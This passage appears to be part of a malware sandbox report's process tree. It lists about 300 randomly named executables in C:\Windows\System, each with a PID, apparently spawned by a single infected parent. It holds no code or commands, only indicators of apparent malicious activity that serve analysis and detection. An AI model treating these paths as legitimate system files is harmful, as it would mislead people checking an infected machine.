  C:\Windows\System\MvDGRTj.exe
  2⤵
  PID:1924
- C:\Windows\System\dfaRQva.exe
  C:\Windows\System\dfaRQva.exe
  2⤵
  PID:3100
- C:\Windows\System\ucfWuOD.exe
  C:\Windows\System\ucfWuOD.exe
  2⤵
  PID:3192
- C:\Windows\System\fiPkETA.exe
  C:\Windows\System\fiPkETA.exe
  2⤵
  PID:3264
- C:\Windows\System\LFoETgC.exe
  C:\Windows\System\LFoETgC.exe
  2⤵
  PID:3328
- C:\Windows\System\RKaIdqp.exe
  C:\Windows\System\RKaIdqp.exe
  2⤵
  PID:3396
- C:\Windows\System\EvltCeD.exe
  C:\Windows\System\EvltCeD.exe
  2⤵
  PID:3460
- C:\Windows\System\ZewghKt.exe
  C:\Windows\System\ZewghKt.exe
  2⤵
  PID:3568
- C:\Windows\System\OxIdCwN.exe
  C:\Windows\System\OxIdCwN.exe
  2⤵
  PID:3664
- C:\Windows\System\EFxcvmI.exe
  C:\Windows\System\EFxcvmI.exe
  2⤵
  PID:3116
- C:\Windows\System\zHHRuMx.exe
  C:\Windows\System\zHHRuMx.exe
  2⤵
  PID:3764
- C:\Windows\System\fqChLNn.exe
  C:\Windows\System\fqChLNn.exe
  2⤵
  PID:3784
- C:\Windows\System\sNlGsql.exe
  C:\Windows\System\sNlGsql.exe
  2⤵
  PID:4840
- C:\Windows\System\dOfjpzS.exe
  C:\Windows\System\dOfjpzS.exe
  2⤵
  PID:4940
- C:\Windows\System\rAkkrHp.exe
  C:\Windows\System\rAkkrHp.exe
  2⤵
  PID:3796
- C:\Windows\System\zrdwvgS.exe
  C:\Windows\System\zrdwvgS.exe
  2⤵
  PID:3820
- C:\Windows\System\xqEjKpv.exe
  C:\Windows\System\xqEjKpv.exe
  2⤵
  PID:3844
- C:\Windows\System\UymxlZE.exe
  C:\Windows\System\UymxlZE.exe
  2⤵
  PID:3860
- C:\Windows\System\ObXpGOR.exe
  C:\Windows\System\ObXpGOR.exe
  2⤵
  PID:3880
- C:\Windows\System\WNDxKsu.exe
  C:\Windows\System\WNDxKsu.exe
  2⤵
  PID:3904
- C:\Windows\System\UzOBZsA.exe
  C:\Windows\System\UzOBZsA.exe
  2⤵
  PID:3920
- C:\Windows\System\lZzGRtS.exe
  C:\Windows\System\lZzGRtS.exe
  2⤵
  PID:3972
- C:\Windows\System\SiArxwc.exe
  C:\Windows\System\SiArxwc.exe
  2⤵
  PID:3968
- C:\Windows\System\ZZZlBmD.exe
  C:\Windows\System\ZZZlBmD.exe
  2⤵
  PID:4036
- C:\Windows\System\qIoUXCg.exe
  C:\Windows\System\qIoUXCg.exe
  2⤵
  PID:3052
- C:\Windows\System\VzqDWfs.exe
  C:\Windows\System\VzqDWfs.exe
  2⤵
  PID:3280
- C:\Windows\System\yVPWviM.exe
  C:\Windows\System\yVPWviM.exe
  2⤵
  PID:3644
- C:\Windows\System\BiApbce.exe
  C:\Windows\System\BiApbce.exe
  2⤵
  PID:4264
- C:\Windows\System\nbwEDDj.exe
  C:\Windows\System\nbwEDDj.exe
  2⤵
  PID:4988
- C:\Windows\System\PfrBAuK.exe
  C:\Windows\System\PfrBAuK.exe
  2⤵
  PID:4656
- C:\Windows\System\oklKhLK.exe
  C:\Windows\System\oklKhLK.exe
  2⤵
  PID:4724
- C:\Windows\System\ZIWpMph.exe
  C:\Windows\System\ZIWpMph.exe
  2⤵
  PID:4824
- C:\Windows\System\irqFbuh.exe
  C:\Windows\System\irqFbuh.exe
  2⤵
  PID:4924
- C:\Windows\System\yyHRgYx.exe
  C:\Windows\System\yyHRgYx.exe
  2⤵
  PID:5024
- C:\Windows\System\efXuhTX.exe
  C:\Windows\System\efXuhTX.exe
  2⤵
  PID:5092
- C:\Windows\System\ndGvPqa.exe
  C:\Windows\System\ndGvPqa.exe
  2⤵
  PID:5008
- C:\Windows\System\BjAIdSL.exe
  C:\Windows\System\BjAIdSL.exe
  2⤵
  PID:5076
- C:\Windows\System\bXaPnUv.exe
  C:\Windows\System\bXaPnUv.exe
  2⤵
  PID:5072
- C:\Windows\System\MkcZqgI.exe
  C:\Windows\System\MkcZqgI.exe
  2⤵
  PID:3448
- C:\Windows\System\ShsXRkU.exe
  C:\Windows\System\ShsXRkU.exe
  2⤵
  PID:2092
- C:\Windows\System\fTrKTOA.exe
  C:\Windows\System\fTrKTOA.exe
  2⤵
  PID:4116
- C:\Windows\System\OLaRTPL.exe
  C:\Windows\System\OLaRTPL.exe
  2⤵
  PID:4508
- C:\Windows\System\qxAVxXu.exe
  C:\Windows\System\qxAVxXu.exe
  2⤵
  PID:4084
- C:\Windows\System\WyGughY.exe
  C:\Windows\System\WyGughY.exe
  2⤵
  PID:4500
- C:\Windows\System\vTTdcMa.exe
  C:\Windows\System\vTTdcMa.exe
  2⤵
  PID:4456
- C:\Windows\System\EfxaKQJ.exe
  C:\Windows\System\EfxaKQJ.exe
  2⤵
  PID:4052
- C:\Windows\System\BtZWZnI.exe
  C:\Windows\System\BtZWZnI.exe
  2⤵
  PID:4540
- C:\Windows\System\bxfProg.exe
  C:\Windows\System\bxfProg.exe
  2⤵
  PID:4248
- C:\Windows\System\amnDGja.exe
  C:\Windows\System\amnDGja.exe
  2⤵
  PID:4316
- C:\Windows\System\ImnGPgE.exe
  C:\Windows\System\ImnGPgE.exe
  2⤵
  PID:4704
- C:\Windows\System\uJNOnCO.exe
  C:\Windows\System\uJNOnCO.exe
  2⤵
  PID:3260
- C:\Windows\System\zPCIMdP.exe
  C:\Windows\System\zPCIMdP.exe
  2⤵
  PID:3360
- C:\Windows\System\voLHrAr.exe
  C:\Windows\System\voLHrAr.exe
  2⤵
  PID:3492
- C:\Windows\System\szCKwKu.exe
  C:\Windows\System\szCKwKu.exe
  2⤵
  PID:3496
- C:\Windows\System\msptclv.exe
  C:\Windows\System\msptclv.exe
  2⤵
  PID:3632
- C:\Windows\System\UurUNPw.exe
  C:\Windows\System\UurUNPw.exe
  2⤵
  PID:3628
- C:\Windows\System\wSNRMbe.exe
  C:\Windows\System\wSNRMbe.exe
  2⤵
  PID:3732
- C:\Windows\System\zZMIKqi.exe
  C:\Windows\System\zZMIKqi.exe
  2⤵
  PID:4808
- C:\Windows\System\mhHuipu.exe
  C:\Windows\System\mhHuipu.exe
  2⤵
  PID:4852
- C:\Windows\System\kwKVUhG.exe
  C:\Windows\System\kwKVUhG.exe
  2⤵
  PID:3788
- C:\Windows\System\UnjMRRv.exe
  C:\Windows\System\UnjMRRv.exe
  2⤵
  PID:3812
- C:\Windows\System\ejbGZxN.exe
  C:\Windows\System\ejbGZxN.exe
  2⤵
  PID:3932
- C:\Windows\System\RIzzRrv.exe
  C:\Windows\System\RIzzRrv.exe
  2⤵
  PID:4100
- C:\Windows\System\etMFfih.exe
  C:\Windows\System\etMFfih.exe
  2⤵
  PID:4132
- C:\Windows\System\WMFEvLS.exe
  C:\Windows\System\WMFEvLS.exe
  2⤵
  PID:928
- C:\Windows\System\hxyyXwE.exe
  C:\Windows\System\hxyyXwE.exe
  2⤵
  PID:4328
- C:\Windows\System\NJGiwGj.exe
  C:\Windows\System\NJGiwGj.exe
  2⤵
  PID:4260
- C:\Windows\System\AcrAFtK.exe
  C:\Windows\System\AcrAFtK.exe
  2⤵
  PID:4760
- C:\Windows\System\rguyJBM.exe
  C:\Windows\System\rguyJBM.exe
  2⤵
  PID:4976
- C:\Windows\System\xkhyJoz.exe
  C:\Windows\System\xkhyJoz.exe
  2⤵
  PID:3208
- C:\Windows\System\qCMIOzk.exe
  C:\Windows\System\qCMIOzk.exe
  2⤵
  PID:4468
- C:\Windows\System\sqUpzvQ.exe
  C:\Windows\System\sqUpzvQ.exe
  2⤵
  PID:4520
- C:\Windows\System\KqvxVuy.exe
  C:\Windows\System\KqvxVuy.exe
  2⤵
  PID:3212
- C:\Windows\System\zAstNmW.exe
  C:\Windows\System\zAstNmW.exe
  2⤵
  PID:4544
- C:\Windows\System\KeAkLAo.exe
  C:\Windows\System\KeAkLAo.exe
  2⤵
  PID:4688
- C:\Windows\System\XuCmWXQ.exe
  C:\Windows\System\XuCmWXQ.exe
  2⤵
  PID:4484
- C:\Windows\System\HTAHbcx.exe
  C:\Windows\System\HTAHbcx.exe
  2⤵
  PID:4888
- C:\Windows\System\vMYLurY.exe
  C:\Windows\System\vMYLurY.exe
  2⤵
  PID:5068
- C:\Windows\System\BjqZLLS.exe
  C:\Windows\System\BjqZLLS.exe
  2⤵
  PID:4048
- C:\Windows\System\hPVOLDO.exe
  C:\Windows\System\hPVOLDO.exe
  2⤵
  PID:4292
- C:\Windows\System\DJYQFMq.exe
  C:\Windows\System\DJYQFMq.exe
  2⤵
  PID:2108
- C:\Windows\System\fnMSClW.exe
  C:\Windows\System\fnMSClW.exe
  2⤵
  PID:4584
- C:\Windows\System\uihZTAP.exe
  C:\Windows\System\uihZTAP.exe
  2⤵
  PID:2420
- C:\Windows\System\evnPAoP.exe
  C:\Windows\System\evnPAoP.exe
  2⤵
  PID:2948
- C:\Windows\System\ZQcidDN.exe
  C:\Windows\System\ZQcidDN.exe
  2⤵
  PID:2692
- C:\Windows\System\dsbXYMV.exe
  C:\Windows\System\dsbXYMV.exe
  2⤵
  PID:2580
- C:\Windows\System\SVYXJqf.exe
  C:\Windows\System\SVYXJqf.exe
  2⤵
  PID:3132
- C:\Windows\System\SLlRDdQ.exe
  C:\Windows\System\SLlRDdQ.exe
  2⤵
  PID:4904
- C:\Windows\System\fJyARoq.exe
  C:\Windows\System\fJyARoq.exe
  2⤵
  PID:3112
- C:\Windows\System\PbquZEK.exe
  C:\Windows\System\PbquZEK.exe
  2⤵
  PID:3840
- C:\Windows\System\txBnbTQ.exe
  C:\Windows\System\txBnbTQ.exe
  2⤵
  PID:3364
- C:\Windows\System\YhOdYhP.exe
  C:\Windows\System\YhOdYhP.exe
  2⤵
  PID:3892
- C:\Windows\System\rTzxzsK.exe
  C:\Windows\System\rTzxzsK.exe
  2⤵
  PID:3936
- C:\Windows\System\rqMmGTr.exe
  C:\Windows\System\rqMmGTr.exe
  2⤵
  PID:4652
- C:\Windows\System\GaugLeD.exe
  C:\Windows\System\GaugLeD.exe
  2⤵
  PID:4016
- C:\Windows\System\WUYfJMR.exe
  C:\Windows\System\WUYfJMR.exe
  2⤵
  PID:4536
- C:\Windows\System\pnBwXRz.exe
  C:\Windows\System\pnBwXRz.exe
  2⤵
  PID:2652
- C:\Windows\System\HowEREN.exe
  C:\Windows\System\HowEREN.exe
  2⤵
  PID:2820
- C:\Windows\System\NeyHzxB.exe
  C:\Windows\System\NeyHzxB.exe
  2⤵
  PID:4364
- C:\Windows\System\DzoygtJ.exe
  C:\Windows\System\DzoygtJ.exe
  2⤵
  PID:4444
- C:\Windows\System\cPLePiX.exe
  C:\Windows\System\cPLePiX.exe
  2⤵
  PID:4568
- C:\Windows\System\ZkPYyGI.exe
  C:\Windows\System\ZkPYyGI.exe
  2⤵
  PID:4600
- C:\Windows\System\LlBVfAa.exe
  C:\Windows\System\LlBVfAa.exe
  2⤵
  PID:4592
- C:\Windows\System\fUTZlUe.exe
  C:\Windows\System\fUTZlUe.exe
  2⤵
  PID:5088
- C:\Windows\System\VkpRtCZ.exe
  C:\Windows\System\VkpRtCZ.exe
  2⤵
  PID:2940
- C:\Windows\System\kbgZJDR.exe
  C:\Windows\System\kbgZJDR.exe
  2⤵
  PID:3096
- C:\Windows\System\jYbWVTo.exe
  C:\Windows\System\jYbWVTo.exe
  2⤵
  PID:3164
- C:\Windows\System\ikssoPr.exe
  C:\Windows\System\ikssoPr.exe
  2⤵
  PID:3408
- C:\Windows\System\XIoQOiR.exe
  C:\Windows\System\XIoQOiR.exe
  2⤵
  PID:3232
- C:\Windows\System\hjqWLsw.exe
  C:\Windows\System\hjqWLsw.exe
  2⤵
  PID:3808
- C:\Windows\System\mIHuQUx.exe
  C:\Windows\System\mIHuQUx.exe
  2⤵
  PID:3540
- C:\Windows\System\NbooopC.exe
  C:\Windows\System\NbooopC.exe
  2⤵
  PID:3760
- C:\Windows\System\wYgenlv.exe
  C:\Windows\System\wYgenlv.exe
  2⤵
  PID:4032
- C:\Windows\System\ApmsyLA.exe
  C:\Windows\System\ApmsyLA.exe
  2⤵
  PID:3476
- C:\Windows\System\NRTNNTg.exe
  C:\Windows\System\NRTNNTg.exe
  2⤵
  PID:2264
- C:\Windows\System\JmplGGk.exe
  C:\Windows\System\JmplGGk.exe
  2⤵
  PID:4608
- C:\Windows\System\bKxcYad.exe
  C:\Windows\System\bKxcYad.exe
  2⤵
  PID:4960
- C:\Windows\System\ZAlpheD.exe
  C:\Windows\System\ZAlpheD.exe
  2⤵
  PID:2536
- C:\Windows\System\ehpFyKw.exe
  C:\Windows\System\ehpFyKw.exe
  2⤵
  PID:276
- C:\Windows\System\zsVPmnp.exe
  C:\Windows\System\zsVPmnp.exe
  2⤵
  PID:4580
- C:\Windows\System\TXaFNGk.exe
  C:\Windows\System\TXaFNGk.exe
  2⤵
  PID:3900
- C:\Windows\System\AxXCAkk.exe
  C:\Windows\System\AxXCAkk.exe
  2⤵
  PID:4604
- C:\Windows\System\HZAJhSl.exe
  C:\Windows\System\HZAJhSl.exe
  2⤵
  PID:3928
- C:\Windows\System\sANuKFF.exe
  C:\Windows\System\sANuKFF.exe
  2⤵
  PID:3524
- C:\Windows\System\OvQfTvR.exe
  C:\Windows\System\OvQfTvR.exe
  2⤵
  PID:4620
- C:\Windows\System\iDhzHsz.exe
  C:\Windows\System\iDhzHsz.exe
  2⤵
  PID:3528
- C:\Windows\System\aanInUU.exe
  C:\Windows\System\aanInUU.exe
  2⤵
  PID:4232
- C:\Windows\System\CXKrBnV.exe
  C:\Windows\System\CXKrBnV.exe
  2⤵
  PID:4720
- C:\Windows\System\WLGnsNC.exe
  C:\Windows\System\WLGnsNC.exe
  2⤵
  PID:5128
- C:\Windows\System\WtQStHX.exe
  C:\Windows\System\WtQStHX.exe
  2⤵
  PID:5144
- C:\Windows\System\yRVDHjF.exe
  C:\Windows\System\yRVDHjF.exe
  2⤵
  PID:5164
- C:\Windows\System\bidlaqp.exe
  C:\Windows\System\bidlaqp.exe
  2⤵
  PID:5180
- C:\Windows\System\heJsPwp.exe
  C:\Windows\System\heJsPwp.exe
  2⤵
  PID:5196
- C:\Windows\System\pdQVCDP.exe
  C:\Windows\System\pdQVCDP.exe
  2⤵
  PID:5212
- C:\Windows\System\ZRWYpvY.exe
  C:\Windows\System\ZRWYpvY.exe
  2⤵
  PID:5228
- C:\Windows\System\TpNZyAh.exe
  C:\Windows\System\TpNZyAh.exe
  2⤵
  PID:5244
- C:\Windows\System\oRljmvT.exe
  C:\Windows\System\oRljmvT.exe
  2⤵
  PID:5264
- C:\Windows\System\AMSrLQI.exe
  C:\Windows\System\AMSrLQI.exe
  2⤵
  PID:5280
- C:\Windows\System\IgFbaRy.exe
  C:\Windows\System\IgFbaRy.exe
  2⤵
  PID:5296
- C:\Windows\System\zXVkAsl.exe
  C:\Windows\System\zXVkAsl.exe
  2⤵
  PID:5312
- C:\Windows\System\VDjokTX.exe
  C:\Windows\System\VDjokTX.exe
  2⤵
  PID:5328
- C:\Windows\System\jmRjLpk.exe
  C:\Windows\System\jmRjLpk.exe
  2⤵
  PID:5348
- C:\Windows\System\wibgFhX.exe
  C:\Windows\System\wibgFhX.exe
  2⤵
  PID:5364
- C:\Windows\System\mtOzUaQ.exe
  C:\Windows\System\mtOzUaQ.exe
  2⤵
  PID:5444
- C:\Windows\System\GKzXYJO.exe
  C:\Windows\System\GKzXYJO.exe
  2⤵
  PID:5464
- C:\Windows\System\PQwtifN.exe
  C:\Windows\System\PQwtifN.exe
  2⤵
  PID:5480
- C:\Windows\System\YkfIlyD.exe
  C:\Windows\System\YkfIlyD.exe
  2⤵
  PID:5508
- C:\Windows\System\nflCyKp.exe
  C:\Windows\System\nflCyKp.exe
  2⤵
  PID:5528
- C:\Windows\System\wzumPEj.exe
  C:\Windows\System\wzumPEj.exe
  2⤵
  PID:5544
- C:\Windows\System\QxYXncu.exe
  C:\Windows\System\QxYXncu.exe
  2⤵
  PID:5560
- C:\Windows\System\KUtAwOC.exe
  C:\Windows\System\KUtAwOC.exe
  2⤵
  PID:5576
- C:\Windows\System\DZGqvNY.exe
  C:\Windows\System\DZGqvNY.exe
  2⤵
  PID:5592
- C:\Windows\System\UyOfhAc.exe
  C:\Windows\System\UyOfhAc.exe
  2⤵
  PID:5608
- C:\Windows\System\WcAPHAz.exe
  C:\Windows\System\WcAPHAz.exe
  2⤵
  PID:5624
- C:\Windows\System\Xokcspu.exe
  C:\Windows\System\Xokcspu.exe
  2⤵
  PID:5640
- C:\Windows\System\YDizHhQ.exe
  C:\Windows\System\YDizHhQ.exe
  2⤵
  PID:5656
- C:\Windows\System\jeuegWL.exe
  C:\Windows\System\jeuegWL.exe
  2⤵
  PID:5672
- C:\Windows\System\mKWLVZy.exe
  C:\Windows\System\mKWLVZy.exe
  2⤵
  PID:5692
- C:\Windows\System\aIRfYYJ.exe
  C:\Windows\System\aIRfYYJ.exe
  2⤵
  PID:5712
- C:\Windows\System\auVdbjK.exe
  C:\Windows\System\auVdbjK.exe
  2⤵
  PID:5728
- C:\Windows\System\VwLAZXQ.exe
  C:\Windows\System\VwLAZXQ.exe
  2⤵
  PID:5744
- C:\Windows\System\xpzgJyl.exe
  C:\Windows\System\xpzgJyl.exe
  2⤵
  PID:5760
- C:\Windows\System\GDhfjMY.exe
  C:\Windows\System\GDhfjMY.exe
  2⤵
  PID:5776
- C:\Windows\System\UNVqErz.exe
  C:\Windows\System\UNVqErz.exe
  2⤵
  PID:5792
- C:\Windows\System\yOxkSSB.exe
  C:\Windows\System\yOxkSSB.exe
  2⤵
  PID:5808
- C:\Windows\System\REjUelI.exe
  C:\Windows\System\REjUelI.exe
  2⤵
  PID:5904
- C:\Windows\System\TaoGczt.exe
  C:\Windows\System\TaoGczt.exe
  2⤵
  PID:5920
- C:\Windows\System\zmyEbWG.exe
  C:\Windows\System\zmyEbWG.exe
  2⤵
  PID:5936
- C:\Windows\System\hLtZSUy.exe
  C:\Windows\System\hLtZSUy.exe
  2⤵
  PID:5952
- C:\Windows\System\AThmGvI.exe
  C:\Windows\System\AThmGvI.exe
  2⤵
  PID:5968
- C:\Windows\System\nyCzLRB.exe
  C:\Windows\System\nyCzLRB.exe
  2⤵
  PID:5984
- C:\Windows\System\TTPjYYS.exe
  C:\Windows\System\TTPjYYS.exe
  2⤵
  PID:6000
- C:\Windows\System\bEBryOD.exe
  C:\Windows\System\bEBryOD.exe
  2⤵
  PID:6016
- C:\Windows\System\tRLelsA.exe
  C:\Windows\System\tRLelsA.exe
  2⤵
  PID:6032
- C:\Windows\System\kUDUKra.exe
  C:\Windows\System\kUDUKra.exe
  2⤵
  PID:6048
- C:\Windows\System\uvcFVKh.exe
  C:\Windows\System\uvcFVKh.exe
  2⤵
  PID:6064
- C:\Windows\System\gzYFUSl.exe
  C:\Windows\System\gzYFUSl.exe
  2⤵
  PID:6080
- C:\Windows\System\JhHYUYY.exe
  C:\Windows\System\JhHYUYY.exe
  2⤵
  PID:6096
- C:\Windows\System\bsmEQvB.exe
  C:\Windows\System\bsmEQvB.exe
  2⤵
  PID:6112
- C:\Windows\System\pGznPhG.exe
  C:\Windows\System\pGznPhG.exe
  2⤵
  PID:6128
- C:\Windows\System\irCFulw.exe
  C:\Windows\System\irCFulw.exe
  2⤵
  PID:4472
- C:\Windows\System\iZEDDyj.exe
  C:\Windows\System\iZEDDyj.exe
  2⤵
  PID:5136
- C:\Windows\System\jvQUKiA.exe
  C:\Windows\System\jvQUKiA.exe
  2⤵
  PID:5204
- C:\Windows\System\xRshckn.exe
  C:\Windows\System\xRshckn.exe
  2⤵
  PID:5272
- C:\Windows\System\PBRixAe.exe
  C:\Windows\System\PBRixAe.exe
  2⤵
  PID:5344
- C:\Windows\System\diwhCVl.exe
  C:\Windows\System\diwhCVl.exe
  2⤵
  PID:5380
- C:\Windows\System\HXtwxUi.exe
  C:\Windows\System\HXtwxUi.exe
  2⤵
  PID:5392
- C:\Windows\System\sBWULYo.exe
  C:\Windows\System\sBWULYo.exe
  2⤵
  PID:5240
- C:\Windows\System\PhFuzKV.exe
  C:\Windows\System\PhFuzKV.exe
  2⤵
  PID:5424
- C:\Windows\System\BZTXfJI.exe
  C:\Windows\System\BZTXfJI.exe
  2⤵
  PID:5428
- C:\Windows\System\YpRuwbG.exe
  C:\Windows\System\YpRuwbG.exe
  2⤵
  PID:5440
- C:\Windows\System\CSfJMpc.exe
  C:\Windows\System\CSfJMpc.exe
  2⤵
  PID:4512
- C:\Windows\System\XSVMMPB.exe
  C:\Windows\System\XSVMMPB.exe
  2⤵
  PID:4788
- C:\Windows\System\cNtjnxV.exe
  C:\Windows\System\cNtjnxV.exe
  2⤵
  PID:5152
- C:\Windows\System\jElWfMO.exe
  C:\Windows\System\jElWfMO.exe
  2⤵
  PID:5192
- C:\Windows\System\fNJwOZg.exe
  C:\Windows\System\fNJwOZg.exe
  2⤵
  PID:5256
- C:\Windows\System\XekdbOU.exe
  C:\Windows\System\XekdbOU.exe
  2⤵
  PID:5324
- C:\Windows\System\fUyztSy.exe
  C:\Windows\System\fUyztSy.exe
  2⤵
  PID:5452
- C:\Windows\System\uNaaQNh.exe
  C:\Windows\System\uNaaQNh.exe
  2⤵
  PID:5500
- C:\Windows\System\FuyJvWN.exe
  C:\Windows\System\FuyJvWN.exe
  2⤵
  PID:5540
- C:\Windows\System\qPgLnTk.exe
  C:\Windows\System\qPgLnTk.exe
  2⤵
  PID:5584
- C:\Windows\System\yApXbsH.exe
  C:\Windows\System\yApXbsH.exe
  2⤵
  PID:5552
- C:\Windows\System\SlCVmCx.exe
  C:\Windows\System\SlCVmCx.exe
  2⤵
  PID:5600
- C:\Windows\System\FgKIEsy.exe
  C:\Windows\System\FgKIEsy.exe
  2⤵
  PID:5680
- C:\Windows\System\uaaMavQ.exe
  C:\Windows\System\uaaMavQ.exe
  2⤵
  PID:5724
- C:\Windows\System\XZGWenm.exe
  C:\Windows\System\XZGWenm.exe
  2⤵
  PID:5816
- C:\Windows\System\dmiNfmc.exe
  C:\Windows\System\dmiNfmc.exe
  2⤵
  PID:5836
- C:\Windows\System\HfWsXCw.exe
  C:\Windows\System\HfWsXCw.exe
  2⤵
  PID:5848
- C:\Windows\System\KrPoSNt.exe
  C:\Windows\System\KrPoSNt.exe
  2⤵
  PID:5708
- C:\Windows\System\trKherj.exe
  C:\Windows\System\trKherj.exe
  2⤵
  PID:5772
- C:\Windows\System\eVOGReA.exe
  C:\Windows\System\eVOGReA.exe
  2⤵
  PID:5852
- C:\Windows\System\dDaoerX.exe
  C:\Windows\System\dDaoerX.exe
  2⤵
  PID:5868
- C:\Windows\System\StzvSxA.exe
  C:\Windows\System\StzvSxA.exe
  2⤵
  PID:5880
- C:\Windows\System\iZpHAoU.exe
  C:\Windows\System\iZpHAoU.exe
  2⤵
  PID:5900
- C:\Windows\System\ocEHvhM.exe
  C:\Windows\System\ocEHvhM.exe
  2⤵
  PID:5960
- C:\Windows\System\OkLmfCi.exe
  C:\Windows\System\OkLmfCi.exe
  2⤵
  PID:6072
- C:\Windows\System\ToXbFbi.exe
  C:\Windows\System\ToXbFbi.exe
  2⤵
  PID:6108
- C:\Windows\System\iVUFlKJ.exe
  C:\Windows\System\iVUFlKJ.exe
  2⤵
  PID:6056
- C:\Windows\System\BSfIXgS.exe
  C:\Windows\System\BSfIXgS.exe
  2⤵
  PID:6120
- C:\Windows\System\dLxKqTt.exe
  C:\Windows\System\dLxKqTt.exe
  2⤵
  PID:5376
- C:\Windows\System\qXRXGJy.exe
  C:\Windows\System\qXRXGJy.exe
  2⤵
  PID:5400
- C:\Windows\System\JCtrxHo.exe
  C:\Windows\System\JCtrxHo.exe
  2⤵
  PID:5476
- C:\Windows\System\yErcFIX.exe
  C:\Windows\System\yErcFIX.exe
  2⤵
  PID:3276
- C:\Windows\System\JPDTfkO.exe
  C:\Windows\System\JPDTfkO.exe
  2⤵
  PID:5388
- C:\Windows\System\zZfmjcV.exe
  C:\Windows\System\zZfmjcV.exe
  2⤵
  PID:4004
- C:\Windows\System\rMlaEka.exe
  C:\Windows\System\rMlaEka.exe
  2⤵
  PID:5224
- C:\Windows\System\azESAnC.exe
  C:\Windows\System\azESAnC.exe
  2⤵
  PID:5504
- C:\Windows\System\HoAnrMq.exe
  C:\Windows\System\HoAnrMq.exe
  2⤵
  PID:5652
- C:\Windows\System\rDgNewl.exe
  C:\Windows\System\rDgNewl.exe
  2⤵
  PID:5840
- C:\Windows\System\ZagYDxx.exe
  C:\Windows\System\ZagYDxx.exe
  2⤵
  PID:5572
- C:\Windows\System\UgJwABU.exe
  C:\Windows\System\UgJwABU.exe
  2⤵
  PID:5188
- C:\Windows\System\DHVlukp.exe
  C:\Windows\System\DHVlukp.exe
  2⤵
  PID:6044
- C:\Windows\System\WGYkmon.exe
  C:\Windows\System\WGYkmon.exe
  2⤵
  PID:6092
- C:\Windows\System\oTnRadL.exe
  C:\Windows\System\oTnRadL.exe
  2⤵
  PID:4624
- C:\Windows\System\OyZXZOH.exe
  C:\Windows\System\OyZXZOH.exe
  2⤵
  PID:5416
- C:\Windows\System\tmtgaLF.exe
  C:\Windows\System\tmtgaLF.exe
  2⤵
  PID:5124
- C:\Windows\System\BmSJimO.exe
  C:\Windows\System\BmSJimO.exe
  2⤵
  PID:5356
- C:\Windows\System\gCgdlUX.exe
  C:\Windows\System\gCgdlUX.exe
  2⤵
  PID:5160
- C:\Windows\System\HlJfbRX.exe
  C:\Windows\System\HlJfbRX.exe
  2⤵
  PID:5620
- C:\Windows\System\WhNekBK.exe
  C:\Windows\System\WhNekBK.exe
  2⤵
  PID:5688
- C:\Windows\System\JaJTTJq.exe
  C:\Windows\System\JaJTTJq.exe
  2⤵
  PID:5740
- C:\Windows\System\fJulBop.exe
  C:\Windows\System\fJulBop.exe
  2⤵
  PID:6140
- C:\Windows\System\UCgHkZs.exe
  C:\Windows\System\UCgHkZs.exe
  2⤵
  PID:5932
- C:\Windows\System\puCwngE.exe
  C:\Windows\System\puCwngE.exe
  2⤵
  PID:5804
- C:\Windows\System\MawZCsW.exe
  C:\Windows\System\MawZCsW.exe
  2⤵
  PID:5616
- C:\Windows\System\yMDlqDl.exe
  C:\Windows\System\yMDlqDl.exe
  2⤵
  PID:5992
- C:\Windows\System\CBAIygB.exe
  C:\Windows\System\CBAIygB.exe
  2⤵
  PID:5876
- C:\Windows\System\KczjfpE.exe
  C:\Windows\System\KczjfpE.exe
  2⤵
  PID:5996
- C:\Windows\System\gzapIUY.exe
  C:\Windows\System\gzapIUY.exe
  2⤵
  PID:3876
- C:\Windows\System\AsbDHNv.exe
  C:\Windows\System\AsbDHNv.exe
  2⤵
  PID:3700
- C:\Windows\System\GUKWOfp.exe
  C:\Windows\System\GUKWOfp.exe
  2⤵
  PID:5632
- C:\Windows\System\WrKdDyP.exe
  C:\Windows\System\WrKdDyP.exe
  2⤵
  PID:5704
- C:\Windows\System\vGKkfxT.exe
  C:\Windows\System\vGKkfxT.exe
  2⤵
  PID:5788
- C:\Windows\System\PeWPHFq.exe
  C:\Windows\System\PeWPHFq.exe
  2⤵
  PID:5980
- C:\Windows\System\kpmqYBI.exe
  C:\Windows\System\kpmqYBI.exe
  2⤵
  PID:5292
- C:\Windows\System\kchbYUx.exe
  C:\Windows\System\kchbYUx.exe
  2⤵
  PID:6152
- C:\Windows\System\ZdmTrXF.exe
  C:\Windows\System\ZdmTrXF.exe
  2⤵
  PID:6168
- C:\Windows\System\XZwFgeI.exe
  C:\Windows\System\XZwFgeI.exe
  2⤵
  PID:6184
- C:\Windows\System\jZgmcBE.exe
  C:\Windows\System\jZgmcBE.exe
  2⤵
  PID:6200
- C:\Windows\System\AUvgtTT.exe
  C:\Windows\System\AUvgtTT.exe
  2⤵
  PID:6220
- C:\Windows\System\whKqnCN.exe
  C:\Windows\System\whKqnCN.exe
  2⤵
  PID:6236
- C:\Windows\System\BetgUye.exe
  C:\Windows\System\BetgUye.exe
  2⤵
  PID:6252
- C:\Windows\System\QVcJVSW.exe
  C:\Windows\System\QVcJVSW.exe
  2⤵
  PID:6272
- C:\Windows\System\iSvBEMu.exe
  C:\Windows\System\iSvBEMu.exe
  2⤵
  PID:6316
- C:\Windows\System\xrZQvFS.exe
  C:\Windows\System\xrZQvFS.exe
  2⤵
  PID:6332
- C:\Windows\System\ypDtLUO.exe
  C:\Windows\System\ypDtLUO.exe
  2⤵
  PID:6348
- C:\Windows\System\vhLTngj.exe
  C:\Windows\System\vhLTngj.exe
  2⤵
  PID:6368
- C:\Windows\System\kGRuELL.exe
  C:\Windows\System\kGRuELL.exe
  2⤵
  PID:6384
- C:\Windows\System\GDxZRLq.exe
  C:\Windows\System\GDxZRLq.exe
  2⤵
  PID:6400
- C:\Windows\System\ZcrJiOK.exe
  C:\Windows\System\ZcrJiOK.exe
  2⤵
  PID:6416
- C:\Windows\System\KvDzrRx.exe
  C:\Windows\System\KvDzrRx.exe
  2⤵
  PID:6432
- C:\Windows\System\qXXciLT.exe
  C:\Windows\System\qXXciLT.exe
  2⤵
  PID:6452
- C:\Windows\System\DVxCLkJ.exe
  C:\Windows\System\DVxCLkJ.exe
  2⤵
  PID:6476
- C:\Windows\System\DVeYQHa.exe
  C:\Windows\System\DVeYQHa.exe
  2⤵
  PID:6492
- C:\Windows\System\LMARJxJ.exe
  C:\Windows\System\LMARJxJ.exe
  2⤵
  PID:6508
- C:\Windows\System\FYYXSXZ.exe
  C:\Windows\System\FYYXSXZ.exe
  2⤵
  PID:6524
- C:\Windows\System\kCpDCKq.exe
  C:\Windows\System\kCpDCKq.exe
